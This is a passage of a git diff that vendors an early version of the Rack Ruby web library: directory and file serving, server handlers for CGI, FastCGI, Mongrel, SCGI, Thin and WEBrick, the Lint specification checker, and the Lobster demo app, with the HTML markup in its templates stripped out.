+app+. + # + # If +app+ is not specified, a Rack::File of the same +root+ will be used. + + class Directory + DIR_FILE = "%s%s%s%s" + DIR_PAGE = <<-PAGE + + %s + + + +

%s

+
+ + + + + + + +%s +
NameSizeTypeLast Modified
+
+ + PAGE + + attr_reader :files + attr_accessor :root, :path + + def initialize(root, app=nil) + @root = F.expand_path(root) + @app = app || Rack::File.new(@root) + end + + def call(env) + dup._call(env) + end + + F = ::File + + def _call(env) + @env = env + @script_name = env['SCRIPT_NAME'] + @path_info = Utils.unescape(env['PATH_INFO']) + + if forbidden = check_forbidden + forbidden + else + @path = F.join(@root, @path_info) + list_path + end + end + + def check_forbidden + return unless @path_info.include? ".." + + body = "Forbidden\n" + size = body.respond_to?(:bytesize) ? body.bytesize : body.size + return [403, {"Content-Type" => "text/plain","Content-Length" => size.to_s}, [body]] + end + + def list_directory + @files = [['../','Parent Directory','','','']] + glob = F.join(@path, '*') + + Dir[glob].sort.each do |node| + stat = stat(node) + next unless stat + basename = F.basename(node) + ext = F.extname(node) + + url = F.join(@script_name, @path_info, basename) + size = stat.size + type = stat.directory? ? 'directory' : Mime.mime_type(ext) + size = stat.directory? ? '-' : filesize_format(size) + mtime = stat.mtime.httpdate + + @files << [ url, basename, size, type, mtime ] + end + + return [ 200, {'Content-Type'=>'text/html; charset=utf-8'}, self ] + end + + def stat(node, max = 10) + F.stat(node) + rescue Errno::ENOENT, Errno::ELOOP + return nil + end + + # TODO: add correct response if not readable, not sure if 404 is the best + # option + def list_path + @stat = F.stat(@path) + + if @stat.readable? + return @app.call(@env) if @stat.file? + return list_directory if @stat.directory? + else + raise Errno::ENOENT, 'No such file or directory' + end + + rescue Errno::ENOENT, Errno::ELOOP + return entity_not_found + end + + def entity_not_found + body = "Entity not found: #{@path_info}\n" + size = body.respond_to?(:bytesize) ? body.bytesize : body.size + return [404, {"Content-Type" => "text/plain", "Content-Length" => size.to_s}, [body]] + end + + def each + show_path = @path.sub(/^#{@root}/,'') + files = @files.map{|f| DIR_FILE % f }*"\n" + page = DIR_PAGE % [ show_path, show_path , files ] + page.each_line{|l| yield l } + end + + # Stolen from Ramaze + + FILESIZE_FORMAT = [ + ['%.1fT', 1 << 40], + ['%.1fG', 1 << 30], + ['%.1fM', 1 << 20], + ['%.1fK', 1 << 10], + ] + + def filesize_format(int) + FILESIZE_FORMAT.each do |format, size| + return format % (int.to_f / size) if int >= size + end + + int.to_s + 'B' + end + end +end diff --git a/vendor/plugins/rack/lib/rack/file.rb b/vendor/plugins/rack/lib/rack/file.rb new file mode 100644 index 00000000..4bc6198d --- /dev/null +++ b/vendor/plugins/rack/lib/rack/file.rb @@ -0,0 +1,85 @@ +require 'time' +require 'rack/mime' + +module Rack + # Rack::File serves files below the +root+ given, according to the + # path info of the Rack request. + # + # Handlers can detect if bodies are a Rack::File, and use mechanisms + # like sendfile on the +path+. + + class File + attr_accessor :root + attr_accessor :path + + def initialize(root) + @root = root + end + + def call(env) + dup._call(env) + end + + F = ::File + + def _call(env) + @path_info = Utils.unescape(env["PATH_INFO"]) + return forbidden if @path_info.include? ".." + + @path = F.join(@root, @path_info) + + begin + if F.file?(@path) && F.readable?(@path) + serving + else + raise Errno::EPERM + end + rescue SystemCallError + not_found + end + end + + def forbidden + body = "Forbidden\n" + [403, {"Content-Type" => "text/plain", + "Content-Length" => body.size.to_s}, + [body]] + end + + # NOTE: + # We check via File::size? whether this file provides size info + # via stat (e.g. /proc files often don't), otherwise we have to + # figure it out by reading the whole file into memory. And while + # we're at it we also use this as body then. + + def serving + if size = F.size?(@path) + body = self + else + body = [F.read(@path)] + size = body.first.size + end + + [200, { + "Last-Modified" => F.mtime(@path).httpdate, + "Content-Type" => Mime.mime_type(F.extname(@path), 'text/plain'), + "Content-Length" => size.to_s + }, body] + end + + def not_found + body = "File not found: #{@path_info}\n" + [404, {"Content-Type" => "text/plain", + "Content-Length" => body.size.to_s}, + [body]] + end + + def each + F.open(@path, "rb") { |file| + while part = file.read(8192) + yield part + end + } + end + end +end diff --git a/vendor/plugins/rack/lib/rack/handler.rb b/vendor/plugins/rack/lib/rack/handler.rb new file mode 100644 index 00000000..1018af64 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/handler.rb @@ -0,0 +1,48 @@ +module Rack + # *Handlers* connect web servers with Rack. + # + # Rack includes Handlers for Mongrel, WEBrick, FastCGI, CGI, SCGI + # and LiteSpeed. + # + # Handlers usually are activated by calling MyHandler.run(myapp). + # A second optional hash can be passed to include server-specific + # configuration. + module Handler + def self.get(server) + return unless server + + if klass = @handlers[server] + obj = Object + klass.split("::").each { |x| obj = obj.const_get(x) } + obj + else + Rack::Handler.const_get(server.capitalize) + end + end + + def self.register(server, klass) + @handlers ||= {} + @handlers[server] = klass + end + + autoload :CGI, "rack/handler/cgi" + autoload :FastCGI, "rack/handler/fastcgi" + autoload :Mongrel, "rack/handler/mongrel" + autoload :EventedMongrel, "rack/handler/evented_mongrel" + autoload :SwiftipliedMongrel, "rack/handler/swiftiplied_mongrel" + autoload :WEBrick, "rack/handler/webrick" + autoload :LSWS, "rack/handler/lsws" + autoload :SCGI, "rack/handler/scgi" + autoload :Thin, "rack/handler/thin" + + register 'cgi', 'Rack::Handler::CGI' + register 'fastcgi', 'Rack::Handler::FastCGI' + register 'mongrel', 'Rack::Handler::Mongrel' + register 'emongrel', 'Rack::Handler::EventedMongrel' + register 'smongrel', 'Rack::Handler::SwiftipliedMongrel' + register 'webrick', 'Rack::Handler::WEBrick' + register 'lsws', 'Rack::Handler::LSWS' + register 'scgi', 'Rack::Handler::SCGI' + register 'thin', 'Rack::Handler::Thin' + end +end diff --git a/vendor/plugins/rack/lib/rack/handler/cgi.rb b/vendor/plugins/rack/lib/rack/handler/cgi.rb new file mode 100644 index 00000000..1922402c --- /dev/null +++ b/vendor/plugins/rack/lib/rack/handler/cgi.rb @@ -0,0 +1,57 @@ +module Rack + module Handler + class CGI + def self.run(app, options=nil) + serve app + end + + def self.serve(app) + env = ENV.to_hash + env.delete "HTTP_CONTENT_LENGTH" + + env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/" + + env.update({"rack.version" => [0,1], + "rack.input" => STDIN, + "rack.errors" => STDERR, + + "rack.multithread" => false, + "rack.multiprocess" => true, + "rack.run_once" => true, + + "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http" + }) + + env["QUERY_STRING"] ||= "" + env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"] + env["REQUEST_PATH"] ||= "/" + + status, headers, body = app.call(env) + begin + send_headers status, headers + send_body body + ensure + body.close if body.respond_to? :close + end + end + + def self.send_headers(status, headers) + STDOUT.print "Status: #{status}\r\n" + headers.each { |k, vs| + vs.each { |v| + STDOUT.print "#{k}: #{v}\r\n" + } + } + STDOUT.print "\r\n" + STDOUT.flush + end + + def self.send_body(body) + body.each { |part| + STDOUT.print part + STDOUT.flush + } + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/handler/evented_mongrel.rb b/vendor/plugins/rack/lib/rack/handler/evented_mongrel.rb new file mode 100644 index 00000000..0f5cbf72 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/handler/evented_mongrel.rb @@ -0,0 +1,8 @@ +require 'swiftcore/evented_mongrel' + +module Rack + module Handler + class EventedMongrel < Handler::Mongrel + end + end +end diff --git a/vendor/plugins/rack/lib/rack/handler/fastcgi.rb b/vendor/plugins/rack/lib/rack/handler/fastcgi.rb new file mode 100644 index 00000000..75b94e99 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/handler/fastcgi.rb @@ -0,0 +1,86 @@ +require 'fcgi' +require 'socket' + +module Rack + module Handler + class FastCGI + def self.run(app, options={}) + file = options[:File] and STDIN.reopen(UNIXServer.new(file)) + port = options[:Port] and STDIN.reopen(TCPServer.new(port)) + FCGI.each { |request| + serve request, app + } + end + + module ProperStream # :nodoc: + def each # This is missing by default. + while line = gets + yield line + end + end + + def read(*args) + if args.empty? + super || "" # Empty string on EOF. + else + super + end + end + end + + def self.serve(request, app) + env = request.env + env.delete "HTTP_CONTENT_LENGTH" + + request.in.extend ProperStream + + env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/" + + env.update({"rack.version" => [0,1], + "rack.input" => request.in, + "rack.errors" => request.err, + + "rack.multithread" => false, + "rack.multiprocess" => true, + "rack.run_once" => false, + + "rack.url_scheme" => ["yes", "on", "1"].include?(env["HTTPS"]) ? "https" : "http" + }) + + env["QUERY_STRING"] ||= "" + env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"] + env["REQUEST_PATH"] ||= "/" + env.delete "PATH_INFO" if env["PATH_INFO"] == "" + env.delete "CONTENT_TYPE" if env["CONTENT_TYPE"] == "" + env.delete "CONTENT_LENGTH" if env["CONTENT_LENGTH"] == "" + + status, headers, body = app.call(env) + begin + send_headers request.out, status, headers + send_body request.out, body + ensure + body.close if body.respond_to? :close + request.finish + end + end + + def self.send_headers(out, status, headers) + out.print "Status: #{status}\r\n" + headers.each { |k, vs| + vs.each { |v| + out.print "#{k}: #{v}\r\n" + } + } + out.print "\r\n" + out.flush + end + + def self.send_body(out, body) + body.each { |part| + out.print part + out.flush + } + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/handler/lsws.rb b/vendor/plugins/rack/lib/rack/handler/lsws.rb new file mode 100644 index 00000000..48b82b58 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/handler/lsws.rb @@ -0,0 +1,52 @@ +require 'lsapi' +#require 'cgi' +module Rack + module Handler + class LSWS + def self.run(app, options=nil) + while LSAPI.accept != nil + serve app + end + end + def self.serve(app) + env = ENV.to_hash + env.delete "HTTP_CONTENT_LENGTH" + env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/" + env.update({"rack.version" => [0,1], + "rack.input" => STDIN, + "rack.errors" => STDERR, + "rack.multithread" => false, + "rack.multiprocess" => true, + "rack.run_once" => false, + "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http" + }) + env["QUERY_STRING"] ||= "" + env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"] + env["REQUEST_PATH"] ||= "/" + status, headers, body = app.call(env) + begin + send_headers status, headers + send_body body + ensure + body.close if body.respond_to? :close + end + end + def self.send_headers(status, headers) + print "Status: #{status}\r\n" + headers.each { |k, vs| + vs.each { |v| + print "#{k}: #{v}\r\n" + } + } + print "\r\n" + STDOUT.flush + end + def self.send_body(body) + body.each { |part| + print part + STDOUT.flush + } + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/handler/mongrel.rb b/vendor/plugins/rack/lib/rack/handler/mongrel.rb new file mode 100644 index 00000000..5673598b --- /dev/null +++ b/vendor/plugins/rack/lib/rack/handler/mongrel.rb @@ -0,0 +1,82 @@ +require 'mongrel' +require 'stringio' + +module Rack + module Handler + class Mongrel < ::Mongrel::HttpHandler + def self.run(app, options={}) + server = ::Mongrel::HttpServer.new(options[:Host] || '0.0.0.0', + options[:Port] || 8080) + # Acts like Rack::URLMap, utilizing Mongrel's own path finding methods. + # Use is similar to #run, replacing the app argument with a hash of + # { path=>app, ... } or an instance of Rack::URLMap. + if options[:map] + if app.is_a? Hash + app.each do |path, appl| + path = '/'+path unless path[0] == ?/ + server.register(path, Rack::Handler::Mongrel.new(appl)) + end + elsif app.is_a? URLMap + app.instance_variable_get(:@mapping).each do |(host, path, appl)| + next if !host.nil? && !options[:Host].nil? && options[:Host] != host + path = '/'+path unless path[0] == ?/ + server.register(path, Rack::Handler::Mongrel.new(appl)) + end + else + raise ArgumentError, "first argument should be a Hash or URLMap" + end + else + server.register('/', Rack::Handler::Mongrel.new(app)) + end + yield server if block_given? + server.run.join + end + + def initialize(app) + @app = app + end + + def process(request, response) + env = {}.replace(request.params) + env.delete "HTTP_CONTENT_TYPE" + env.delete "HTTP_CONTENT_LENGTH" + + env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/" + + env.update({"rack.version" => [0,1], + "rack.input" => request.body || StringIO.new(""), + "rack.errors" => STDERR, + + "rack.multithread" => true, + "rack.multiprocess" => false, # ??? + "rack.run_once" => false, + + "rack.url_scheme" => "http", + }) + env["QUERY_STRING"] ||= "" + env.delete "PATH_INFO" if env["PATH_INFO"] == "" + + status, headers, body = @app.call(env) + + begin + response.status = status.to_i + response.send_status(nil) + + headers.each { |k, vs| + vs.each { |v| + response.header[k] = v + } + } + response.send_header + + body.each { |part| + response.write part + response.socket.flush + } + ensure + body.close if body.respond_to? :close + end + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/handler/scgi.rb b/vendor/plugins/rack/lib/rack/handler/scgi.rb new file mode 100644 index 00000000..0e143395 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/handler/scgi.rb @@ -0,0 +1,57 @@ +require 'scgi' +require 'stringio' + +module Rack + module Handler + class SCGI < ::SCGI::Processor + attr_accessor :app + + def self.run(app, options=nil) + new(options.merge(:app=>app, + :host=>options[:Host], + :port=>options[:Port], + :socket=>options[:Socket])).listen + end + + def initialize(settings = {}) + @app = settings[:app] + @log = Object.new + def @log.info(*args); end + def @log.error(*args); end + super(settings) + end + + def process_request(request, input_body, socket) + env = {}.replace(request) + env.delete "HTTP_CONTENT_TYPE" + env.delete "HTTP_CONTENT_LENGTH" + env["REQUEST_PATH"], env["QUERY_STRING"] = env["REQUEST_URI"].split('?', 2) + env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"] + env["PATH_INFO"] = env["REQUEST_PATH"] + env["QUERY_STRING"] ||= "" + env["SCRIPT_NAME"] = "" + env.update({"rack.version" => [0,1], + "rack.input" => StringIO.new(input_body), + "rack.errors" => STDERR, + + "rack.multithread" => true, + "rack.multiprocess" => true, + "rack.run_once" => false, + + "rack.url_scheme" => ["yes", "on", "1"].include?(env["HTTPS"]) ? "https" : "http" + }) + status, headers, body = app.call(env) + begin + socket.write("Status: #{status}\r\n") + headers.each do |k, vs| + vs.each {|v| socket.write("#{k}: #{v}\r\n")} + end + socket.write("\r\n") + body.each {|s| socket.write(s)} + ensure + body.close if body.respond_to? :close + end + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/handler/swiftiplied_mongrel.rb b/vendor/plugins/rack/lib/rack/handler/swiftiplied_mongrel.rb new file mode 100644 index 00000000..4bafd0b9 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/handler/swiftiplied_mongrel.rb @@ -0,0 +1,8 @@ +require 'swiftcore/swiftiplied_mongrel' + +module Rack + module Handler + class SwiftipliedMongrel < Handler::Mongrel + end + end +end diff --git a/vendor/plugins/rack/lib/rack/handler/thin.rb b/vendor/plugins/rack/lib/rack/handler/thin.rb new file mode 100644 index 00000000..7ad088b3 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/handler/thin.rb @@ -0,0 +1,15 @@ +require "thin" + +module Rack + module Handler + class Thin + def self.run(app, options={}) + server = ::Thin::Server.new(options[:Host] || '0.0.0.0', + options[:Port] || 8080, + app) + yield server if block_given? + server.start + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/handler/webrick.rb b/vendor/plugins/rack/lib/rack/handler/webrick.rb new file mode 100644 index 00000000..2c4e8bc5 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/handler/webrick.rb @@ -0,0 +1,62 @@ +require 'webrick' +require 'stringio' + +module Rack + module Handler + class WEBrick < ::WEBrick::HTTPServlet::AbstractServlet + def self.run(app, options={}) + server = ::WEBrick::HTTPServer.new(options) + server.mount "/", Rack::Handler::WEBrick, app + trap(:INT) { server.shutdown } + trap('TERM') { server.shutdown } + yield server if block_given? + server.start + end + + def initialize(server, app) + super server + @app = app + end + + def service(req, res) + env = req.meta_vars + env.delete_if { |k, v| v.nil? } + + env.update({"rack.version" => [0,1], + "rack.input" => StringIO.new(req.body.to_s), + "rack.errors" => STDERR, + + "rack.multithread" => true, + "rack.multiprocess" => false, + "rack.run_once" => false, + + "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http" + }) + + env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"] + env["QUERY_STRING"] ||= "" + env["REQUEST_PATH"] ||= "/" + env.delete "PATH_INFO" if env["PATH_INFO"] == "" + + status, headers, body = @app.call(env) + begin + res.status = status.to_i + headers.each { |k, vs| + if k.downcase == "set-cookie" + res.cookies.concat vs.to_a + else + vs.each { |v| + res[k] = v + } + end + } + body.each { |part| + res.body << part + } + ensure + body.close if body.respond_to? :close + end + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/head.rb b/vendor/plugins/rack/lib/rack/head.rb new file mode 100644 index 00000000..deab822a --- /dev/null +++ b/vendor/plugins/rack/lib/rack/head.rb @@ -0,0 +1,19 @@ +module Rack + +class Head + def initialize(app) + @app = app + end + + def call(env) + status, headers, body = @app.call(env) + + if env["REQUEST_METHOD"] == "HEAD" + [status, headers, []] + else + [status, headers, body] + end + end +end + +end diff --git a/vendor/plugins/rack/lib/rack/lint.rb b/vendor/plugins/rack/lib/rack/lint.rb new file mode 100644 index 00000000..e7f805f1 --- /dev/null +++ b/vendor/plugins/rack/lib/rack/lint.rb @@ -0,0 +1,465 @@ +module Rack + # Rack::Lint validates your application and the requests and + # responses according to the Rack spec. + + class Lint + def initialize(app) + @app = app + end + + # :stopdoc: + + class LintError < RuntimeError; end + module Assertion + def assert(message, &block) + unless block.call + raise LintError, message + end + end + end + include Assertion + + ## This specification aims to formalize the Rack protocol. You + ## can (and should) use Rack::Lint to enforce it. + ## + ## When you develop middleware, be sure to add a Lint before and + ## after to catch all mistakes. + + ## = Rack applications + + ## A Rack application is an Ruby object (not a class) that + ## responds to +call+. + def call(env=nil) + dup._call(env) + end + + def _call(env) + ## It takes exactly one argument, the *environment* + assert("No env given") { env } + check_env env + + env['rack.input'] = InputWrapper.new(env['rack.input']) + env['rack.errors'] = ErrorWrapper.new(env['rack.errors']) + + ## and returns an Array of exactly three values: + status, headers, @body = @app.call(env) + ## The *status*, + check_status status + ## the *headers*, + check_headers headers + ## and the *body*. + check_content_type status, headers + check_content_length status, headers, env + [status, headers, self] + end + + ## == The Environment + def check_env(env) + ## The environment must be an true instance of Hash (no + ## subclassing allowed) that includes CGI-like headers. + ## The application is free to modify the environment. + assert("env #{env.inspect} is not a Hash, but #{env.class}") { + env.instance_of? Hash + } + + ## + ## The environment is required to include these variables + ## (adopted from PEP333), except when they'd be empty, but see + ## below. + + ## REQUEST_METHOD:: The HTTP request method, such as + ## "GET" or "POST". This cannot ever + ## be an empty string, and so is + ## always required. + + ## SCRIPT_NAME:: The initial portion of the request + ## URL's "path" that corresponds to the + ## application object, so that the + ## application knows its virtual + ## "location". This may be an empty + ## string, if the application corresponds + ## to the "root" of the server. + + ## PATH_INFO:: The remainder of the request URL's + ## "path", designating the virtual + ## "location" of the request's target + ## within the application. This may be an + ## empty string, if the request URL targets + ## the application root and does not have a + ## trailing slash. + + ## QUERY_STRING:: The portion of the request URL that + ## follows the ?, if any. May be + ## empty, but is always required! + + ## SERVER_NAME, SERVER_PORT:: When combined with SCRIPT_NAME and PATH_INFO, these variables can be used to complete the URL. Note, however, that HTTP_HOST, if present, should be used in preference to SERVER_NAME for reconstructing the request URL. SERVER_NAME and SERVER_PORT can never be empty strings, and so are always required. + + ## HTTP_ Variables:: Variables corresponding to the + ## client-supplied HTTP request + ## headers (i.e., variables whose + ## names begin with HTTP_). The + ## presence or absence of these + ## variables should correspond with + ## the presence or absence of the + ## appropriate HTTP header in the + ## request. + + ## In addition to this, the Rack environment must include these + ## Rack-specific variables: + + ## rack.version:: The Array [0,1], representing this version of Rack. + ## rack.url_scheme:: +http+ or +https+, depending on the request URL. + ## rack.input:: See below, the input stream. + ## rack.errors:: See below, the error stream. + ## rack.multithread:: true if the application object may be simultaneously invoked by another thread in the same process, false otherwise. + ## rack.multiprocess:: true if an equivalent application object may be simultaneously invoked by another process, false otherwise. + ## rack.run_once:: true if the server expects (but does not guarantee!) that the application will only be invoked this one time during the life of its containing process. Normally, this will only be true for a server based on CGI (or something similar). + + ## The server or the application can store their own data in the + ## environment, too. The keys must contain at least one dot, + ## and should be prefixed uniquely. The prefix rack. + ## is reserved for use with the Rack core distribution and must + ## not be used otherwise. + ## + + %w[REQUEST_METHOD SERVER_NAME SERVER_PORT + QUERY_STRING + rack.version rack.input rack.errors + rack.multithread rack.multiprocess rack.run_once].each { |header| + assert("env missing required key #{header}") { env.include? header } + } + + ## The environment must not contain the keys + ## HTTP_CONTENT_TYPE or HTTP_CONTENT_LENGTH + ## (use the versions without HTTP_). + %w[HTTP_CONTENT_TYPE HTTP_CONTENT_LENGTH].each { |header| + assert("env contains #{header}, must use #{header[5,-1]}") { + not env.include? header + } + } + + ## The CGI keys (named without a period) must have String values. + env.each { |key, value| + next if key.include? "." # Skip extensions + assert("env variable #{key} has non-string value #{value.inspect}") { + value.instance_of? String + } + } + + ## + ## There are the following restrictions: + + ## * rack.version must be an array of Integers. + assert("rack.version must be an Array, was #{env["rack.version"].class}") { + env["rack.version"].instance_of? Array + } + ## * rack.url_scheme must either be +http+ or +https+. + assert("rack.url_scheme unknown: #{env["rack.url_scheme"].inspect}") { + %w[http https].include? env["rack.url_scheme"] + } + + ## * There must be a valid input stream in rack.input. + check_input env["rack.input"] + ## * There must be a valid error stream in rack.errors. + check_error env["rack.errors"] + + ## * The REQUEST_METHOD must be a valid token. + assert("REQUEST_METHOD unknown: #{env["REQUEST_METHOD"]}") { + env["REQUEST_METHOD"] =~ /\A[0-9A-Za-z!\#$%&'*+.^_`|~-]+\z/ + } + + ## * The SCRIPT_NAME, if non-empty, must start with / + assert("SCRIPT_NAME must start with /") { + !env.include?("SCRIPT_NAME") || + env["SCRIPT_NAME"] == "" || + env["SCRIPT_NAME"] =~ /\A\// + } + ## * The PATH_INFO, if non-empty, must start with / + assert("PATH_INFO must start with /") { + !env.include?("PATH_INFO") || + env["PATH_INFO"] == "" || + env["PATH_INFO"] =~ /\A\// + } + ## * The CONTENT_LENGTH, if given, must consist of digits only. + assert("Invalid CONTENT_LENGTH: #{env["CONTENT_LENGTH"]}") { + !env.include?("CONTENT_LENGTH") || env["CONTENT_LENGTH"] =~ /\A\d+\z/ + } + + ## * One of SCRIPT_NAME or PATH_INFO must be + ## set. PATH_INFO should be / if + ## SCRIPT_NAME is empty. + assert("One of SCRIPT_NAME or PATH_INFO must be set (make PATH_INFO '/' if SCRIPT_NAME is empty)") { + env["SCRIPT_NAME"] || env["PATH_INFO"] + } + ## SCRIPT_NAME never should be /, but instead be empty. + assert("SCRIPT_NAME cannot be '/', make it '' and PATH_INFO '/'") { + env["SCRIPT_NAME"] != "/" + } + end + + ## === The Input Stream + def check_input(input) + ## The input stream must respond to +gets+, +each+ and +read+. + [:gets, :each, :read].each { |method| + assert("rack.input #{input} does not respond to ##{method}") { + input.respond_to? method + } + } + end + + class InputWrapper + include Assertion + + def initialize(input) + @input = input + end + + def size + @input.size + end + + def rewind + @input.rewind + end + + ## * +gets+ must be called without arguments and return a string, + ## or +nil+ on EOF. + def gets(*args) + assert("rack.input#gets called with arguments") { args.size == 0 } + v = @input.gets + assert("rack.input#gets didn't return a String") { + v.nil? or v.instance_of? String + } + v + end + + ## * +read+ must be called without or with one integer argument + ## and return a string, or +nil+ on EOF. + def read(*args) + assert("rack.input#read called with too many arguments") { + args.size <= 1 + } + if args.size == 1 + assert("rack.input#read called with non-integer argument") { + args.first.kind_of? Integer + } + end + v = @input.read(*args) + assert("rack.input#read didn't return a String") { + v.nil? or v.instance_of? String + } + v + end + + ## * +each+ must be called without arguments and only yield Strings. + def each(*args) + assert("rack.input#each called with arguments") { args.size == 0 } + @input.each { |line| + assert("rack.input#each didn't yield a String") { + line.instance_of? String + } + yield line + } + end + + ## * +close+ must never be called on the input stream. + def close(*args) + assert("rack.input#close must not be called") { false } + end + end + + ## === The Error Stream + def check_error(error) + ## The error stream must respond to +puts+, +write+ and +flush+. + [:puts, :write, :flush].each { |method| + assert("rack.error #{error} does not respond to ##{method}") { + error.respond_to? method + } + } + end + + class ErrorWrapper + include Assertion + + def initialize(error) + @error = error + end + + ## * +puts+ must be called with a single argument that responds to +to_s+. + def puts(str) + @error.puts str + end + + ## * +write+ must be called with a single argument that is a String. + def write(str) + assert("rack.errors#write not called with a String") { str.instance_of? String } + @error.write str + end + + ## * +flush+ must be called without arguments and must be called + ## in order to make the error appear for sure. + def flush + @error.flush + end + + ## * +close+ must never be called on the error stream. + def close(*args) + assert("rack.errors#close must not be called") { false } + end + end + + ## == The Response + + ## === The Status + def check_status(status) + ## The status, if parsed as integer (+to_i+), must be greater than or equal to 100. + assert("Status must be >=100 seen as integer") { status.to_i >= 100 } + end + + ## === The Headers + def check_headers(header) + ## The header must respond to each, and yield values of key and value. + assert("headers object should respond to #each, but doesn't (got #{header.class} as headers)") { + header.respond_to? :each + } + header.each { |key, value| + ## The header keys must be Strings. + assert("header key must be a string, was #{key.class}") { + key.instance_of? String + } + ## The header must not contain a +Status+ key, + assert("header must not contain Status") { key.downcase != "status" } + ## contain keys with : or newlines in their name, + assert("header names must not contain : or \\n") { key !~ /[:\n]/ } + ## contain keys names that end in - or _, + assert("header names must not end in - or _") { key !~ /[-_]\z/ } + ## but only contain keys that consist of + ## letters, digits, _ or - and start with a letter. + assert("invalid header name: #{key}") { key =~ /\A[a-zA-Z][a-zA-Z0-9_-]*\z/ } + ## + ## The values of the header must respond to #each. + assert("header values must respond to #each, but the value of " + + "'#{key}' doesn't (is #{value.class})") { value.respond_to? :each } + value.each { |item| + ## The values passed on #each must be Strings + assert("header values must consist of Strings, but '#{key}' also contains a #{item.class}") { + item.instance_of?(String) + } + ## and not contain characters below 037. + assert("invalid header value #{key}: #{item.inspect}") { + item !~ /[\000-\037]/ + } + } + } + end + + ## === The Content-Type + def check_content_type(status, headers) + headers.each { |key, value| + ## There must be a Content-Type, except when the + ## +Status+ is 1xx, 204 or 304, in which case there must be none + ## given. + if key.downcase == "content-type" + assert("Content-Type header found in #{status} response, not allowed") { + not Rack::Utils::STATUS_WITH_NO_ENTITY_BODY.include? status.to_i + } + return + end + } + assert("No Content-Type header found") { + Rack::Utils::STATUS_WITH_NO_ENTITY_BODY.include? status.to_i + } + end + + ## === The Content-Length + def check_content_length(status, headers, env) + chunked_response = false + headers.each { |key, value| + if key.downcase == 'transfer-encoding' + chunked_response = value.downcase != 'identity' + end + } + + headers.each { |key, value| + if key.downcase == 'content-length' + ## There must be a Content-Length, except when the + ## +Status+ is 1xx, 204 or 304, in which case there must be none + ## given. + assert("Content-Length header found in #{status} response, not allowed") { + not Rack::Utils::STATUS_WITH_NO_ENTITY_BODY.include? status.to_i + } + + assert('Content-Length header should not be used if body is chunked') { + not chunked_response + } + + bytes = 0 + string_body = true + + @body.each { |part| + unless part.kind_of?(String) + string_body = false + break + end + + bytes += (part.respond_to?(:bytesize) ? part.bytesize : part.size) + } + + if env["REQUEST_METHOD"] == "HEAD" + assert("Response body was given for HEAD request, but should be empty") { + bytes == 0 + } + else + if string_body + assert("Content-Length header was #{value}, but should be #{bytes}") { + value == bytes.to_s + } + end + end + + return + end + } + + if [ String, Array ].include?(@body.class) && !chunked_response + assert('No Content-Length header found') { + Rack::Utils::STATUS_WITH_NO_ENTITY_BODY.include? status.to_i + } + end + end + + ## === The Body + def each + @closed = false + ## The Body must respond to #each + @body.each { |part| + ## and must only yield String values. + assert("Body yielded non-string value #{part.inspect}") { + part.instance_of? String + } + yield part + } + ## + ## If the Body responds to #close, it will be called after iteration. + # XXX howto: assert("Body has not been closed") { @closed } + + ## + ## The Body commonly is an Array of Strings, the application + ## instance itself, or a File-like object. + end + + def close + @closed = true + @body.close if @body.respond_to?(:close) + end + + # :startdoc: + + end +end + +## == Thanks +## Some parts of this specification are adopted from PEP333: Python +## Web Server Gateway Interface +## v1.0 (http://www.python.org/dev/peps/pep-0333/). I'd like to thank +## everyone involved in that effort. diff --git a/vendor/plugins/rack/lib/rack/lobster.rb b/vendor/plugins/rack/lib/rack/lobster.rb new file mode 100644 index 00000000..f63f419a --- /dev/null +++ b/vendor/plugins/rack/lib/rack/lobster.rb @@ -0,0 +1,65 @@ +require 'zlib' + +require 'rack/request' +require 'rack/response' + +module Rack + # Paste has a Pony, Rack has a Lobster! + class Lobster + LobsterString = Zlib::Inflate.inflate("eJx9kEEOwyAMBO99xd7MAcytUhPlJyj2 + P6jy9i4k9EQyGAnBarEXeCBqSkntNXsi/ZCvC48zGQoZKikGrFMZvgS5ZHd+aGWVuWwhVF0 + t1drVmiR42HcWNz5w3QanT+2gIvTVCiE1lm1Y0eU4JGmIIbaKwextKn8rvW+p5PIwFl8ZWJ + I8jyiTlhTcYXkekJAzTyYN6E08A+dk8voBkAVTJQ==".delete("\n ").unpack("m*")[0]) + + LambdaLobster = lambda { |env| + if env["QUERY_STRING"].include?("flip") + lobster = LobsterString.split("\n"). + map { |line| line.ljust(42).reverse }. + join("\n") + href = "?" + else + lobster = LobsterString + href = "?flip" + end + + content = ["Lobstericious!", + "
", lobster, "
", + "flip!"] + length = content.inject(0) { |a,e| a+e.size }.to_s + [200, {"Content-Type" => "text/html", "Content-Length" => length}, content] + } + + def call(env) + req = Request.new(env) + if req.GET["flip"] == "left" + lobster = LobsterString.split("\n"). + map { |line| line.ljust(42).reverse }. + join("\n") + href = "?flip=right" + elsif req.GET["flip"] == "crash" + raise "Lobster crashed" + else + lobster = LobsterString + href = "?flip=left" + end + + res = Response.new + res.write "Lobstericious!" + res.write "
"
+      res.write lobster
+      res.write "
" + res.write "

flip!

" + res.write "

crash!

